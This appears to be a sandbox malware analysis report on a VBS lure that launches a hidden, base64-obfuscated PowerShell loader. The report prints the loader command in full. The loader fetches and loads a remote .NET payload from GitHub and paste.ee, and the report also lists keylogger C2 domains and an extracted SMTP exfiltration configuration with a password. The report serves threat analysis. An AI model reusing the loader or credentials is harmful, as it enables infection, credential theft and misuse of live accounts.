Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs", CommandLine|base64offset|contains: TCDL, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs", ProcessId: 5412, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs", CommandLine|base64offset|contains: TCDL, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs", ProcessId: 5412, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::

Suricata Signatures

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T09:57:27.621542+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.6	49719	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://aborters.duckdns.org:8081	URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081	URL Reputation: Label: malware

Found malware configuration

Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack

Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "info@lamela.si", "Password": "2014viks5961lamela", "Host": "mail.lamela.si", "Port": "587", "Version": "4.4"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49719 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000004.00000002.2453863224.00007FFD34430000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000004.00000002.2453863224.00007FFD34430000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
